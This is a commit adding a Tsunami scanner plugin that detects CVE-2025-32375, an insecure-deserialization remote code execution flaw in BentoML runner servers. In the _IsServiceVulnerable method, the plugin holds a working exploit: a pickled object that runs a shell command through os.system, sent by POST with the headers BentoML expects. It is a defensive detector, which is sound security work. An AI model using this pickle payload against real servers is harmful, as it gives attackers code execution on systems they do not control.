Skip to content

Commit bc0842b

Browse files
Merge pull request #640 from theGEBIRGE:master
PiperOrigin-RevId: 809043684 Change-Id: I8662eec39e04e8b85dc143a7b22dec5c3b5da2f6
2 parents 52dc354 + b520fa3 commit bc0842b

2 files changed

Lines changed: 400 additions & 0 deletions

File tree

Lines changed: 225 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,225 @@
1+
# Copyright 2025 Google LLC
2+
#
3+
# Licensed under the Apache License, Version 2.0 (the "License");
4+
# you may not use this file except in compliance with the License.
5+
# You may obtain a copy of the License at
6+
#
7+
# http://www.apache.org/licenses/LICENSE-2.0
8+
#
9+
# Unless required by applicable law or agreed to in writing, software
10+
# distributed under the License is distributed on an "AS IS" BASIS,
11+
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12+
# See the License for the specific language governing permissions and
13+
# limitations under the License.
14+
"""A Tsunami plugin for detecting CVE-2025-32375."""
15+
import pickle
16+
import time
17+
from absl import logging
18+
import requests
19+
from google.protobuf import timestamp_pb2
20+
import tsunami_plugin
21+
from common.data import network_endpoint_utils
22+
from common.data import network_service_utils
23+
from common.net.http.http_client import HttpClient
24+
from common.net.http.http_headers import HttpHeaders
25+
from common.net.http.http_request import HttpRequest
26+
from plugin.payload.payload_generator import PayloadGenerator
27+
import detection_pb2
28+
import payload_generator_pb2 as pg
29+
import plugin_representation_pb2
30+
import vulnerability_pb2
31+
32+
_VULN_DESCRIPTION = (
33+
"The BentoML framework is vulnerable to an insecure "
34+
"deserialization issue that can be exploited by sending a single POST "
35+
"request to any valid endpoint of the runner server."
36+
"The impact of this is remote code execution."
37+
)
38+
_SLEEP_TIME_SEC = 20
39+
40+
41+
class Cve202532375Detector(tsunami_plugin.VulnDetector):
42+
"""A TsunamiPlugin that detects RCE on the BentoML target."""
43+
44+
def __init__(
45+
self, http_client: HttpClient, payload_generator: PayloadGenerator
46+
):
47+
self.http_client = http_client
48+
self.payload_generator = payload_generator
49+
50+
def GetPluginDefinition(self) -> tsunami_plugin.PluginDefinition:
51+
"""Defines the PluginDefinition for Cve202532375Detector.
52+
53+
Returns:
54+
The PluginDefinition used for the Tsunami engine
55+
to identify this plugin.
56+
"""
57+
return tsunami_plugin.PluginDefinition(
58+
info=plugin_representation_pb2.PluginInfo(
59+
type=plugin_representation_pb2.PluginInfo.VULN_DETECTION,
60+
name="Cve202532375VulnDetector",
61+
version="1.0",
62+
description=_VULN_DESCRIPTION,
63+
author="GEBIRGE",
64+
)
65+
)
66+
67+
def Detect(
68+
self,
69+
target: tsunami_plugin.TargetInfo,
70+
matched_services: list[tsunami_plugin.NetworkService],
71+
) -> tsunami_plugin.DetectionReportList:
72+
"""Run detection logic for the BentoML target.
73+
74+
Args:
75+
target: TargetInfo about BentoML Insecure Deserialization.
76+
matched_services: A list of network services whose vulnerabilities could
77+
be detected by this plugin. "ppp" for example would be on this list.
78+
79+
Returns:
80+
A tsunami_plugin.DetectionReportList for all the vulnerabilities
81+
of the scanning target.
82+
"""
83+
logging.info("Cve202532375Detector starts detecting.")
84+
vulnerable_services = [
85+
service
86+
for service in matched_services
87+
if self._IsSupportedService(service)
88+
and self._IsBentoMlWebService(service)
89+
]
90+
91+
return detection_pb2.DetectionReportList(
92+
detection_reports=[
93+
self._BuildDetectionReport(target, service)
94+
for service in vulnerable_services
95+
if self._IsServiceVulnerable(service)
96+
]
97+
)
98+
99+
def _IsSupportedService(
100+
self, network_service: tsunami_plugin.NetworkService
101+
) -> bool:
102+
"""Check if network service is a web service or an unknown service."""
103+
return (
104+
not network_service.service_name
105+
or network_service_utils.is_web_service(network_service)
106+
or network_service_utils.get_service_name(network_service) == "unknown"
107+
or network_service_utils.get_service_name(network_service) == "ppp"
108+
)
109+
110+
def _IsBentoMlWebService(
111+
self, network_service: tsunami_plugin.NetworkService
112+
) -> bool:
113+
"""Check if this web service is a BentoML web application."""
114+
url = self._BuildUrl(network_service, "/")
115+
request = HttpRequest.get(url).with_empty_headers().build()
116+
try:
117+
response = self.http_client.send(request, network_service)
118+
return "Method Not Allowed" in response.body_string()
119+
except Exception: # pylint: disable=broad-exception-caught
120+
logging.exception("Unable to query %s", url)
121+
return False
122+
123+
def _IsServiceVulnerable(
124+
self, network_service: tsunami_plugin.NetworkService
125+
) -> bool:
126+
"""Check if network service may result in RCE."""
127+
128+
config = pg.PayloadGeneratorConfig(
129+
vulnerability_type=(
130+
pg.PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE
131+
),
132+
interpretation_environment=(
133+
pg.PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL
134+
),
135+
execution_environment=((
136+
pg.PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT
137+
)),
138+
)
139+
payload = self.payload_generator.generate(config)
140+
if not payload.get_payload_attributes().uses_callback_server:
141+
return False
142+
143+
class Payload(object):
144+
145+
def __reduce__(self):
146+
return (
147+
__import__("os").system,
148+
(f'/bin/sh -c "{payload.get_payload()}"',),
149+
)
150+
151+
rce_command = pickle.dumps(Payload())
152+
url = self._BuildUrl(network_service, "/")
153+
request = (
154+
HttpRequest.builder()
155+
.set_method('POST')
156+
.set_url(url)
157+
.set_headers(
158+
HttpHeaders.builder()
159+
.add_header("args-number", "1")
160+
.add_header("Content-Type", "application/vnd.bentoml.pickled")
161+
.add_header("Payload-Container", "NdarrayContainer")
162+
.add_header("Payload-Meta", '{"format": "default"}')
163+
.add_header("Batch-Size", "-1")
164+
.build()
165+
)
166+
.set_request_body(rce_command)
167+
.build()
168+
)
169+
try:
170+
self.http_client.modify().set_timeout_sec(1).build().send(
171+
request, network_service
172+
)
173+
except (
174+
requests.exceptions.ReadTimeout
175+
): # pylint: disable=broad-exception-caught
176+
# timeout is expected here because server won't return anything
177+
pass
178+
except Exception: # pylint: disable=broad-exception-caught
179+
logging.exception("Unable to query %s", url)
180+
181+
time.sleep(_SLEEP_TIME_SEC)
182+
return payload.check_if_executed()
183+
184+
def _BuildUrl(
185+
self, network_service: tsunami_plugin.NetworkService, vulnerable_path
186+
) -> str:
187+
"""Build the vulnerable target path for RCE injection."""
188+
if network_service_utils.is_web_service(network_service):
189+
url = network_service_utils.build_web_application_root_url(
190+
network_service
191+
)
192+
else:
193+
authority = network_endpoint_utils.to_uri_authority(
194+
network_service.network_endpoint
195+
).strip("/")
196+
url = f"http://{authority}/"
197+
return url + vulnerable_path.strip("/")
198+
199+
def _BuildDetectionReport(
200+
self,
201+
target: tsunami_plugin.TargetInfo,
202+
vulnerable_service: tsunami_plugin.NetworkService,
203+
) -> detection_pb2.DetectionReport:
204+
"""Generate the detection report for all vulnerability findings."""
205+
return detection_pb2.DetectionReport(
206+
target_info=target,
207+
network_service=vulnerable_service,
208+
detection_timestamp=timestamp_pb2.Timestamp().GetCurrentTime(),
209+
detection_status=(detection_pb2.DetectionStatus.VULNERABILITY_VERIFIED),
210+
vulnerability=vulnerability_pb2.Vulnerability(
211+
main_id=vulnerability_pb2.VulnerabilityId(
212+
publisher="TSUNAMI_COMMUNITY", value="CVE_2025_32375"
213+
),
214+
severity=vulnerability_pb2.Severity.CRITICAL,
215+
title=(
216+
"BentoML Insecure Deserialization RCE (CVE-2025-32375) "
217+
"for Runner Server"
218+
),
219+
recommendation=(
220+
"Users should not expose the bentoml Runner Server "
221+
"endpoints to untrusted environments."
222+
),
223+
description=_VULN_DESCRIPTION,
224+
),
225+
)

0 commit comments

Comments
 (0)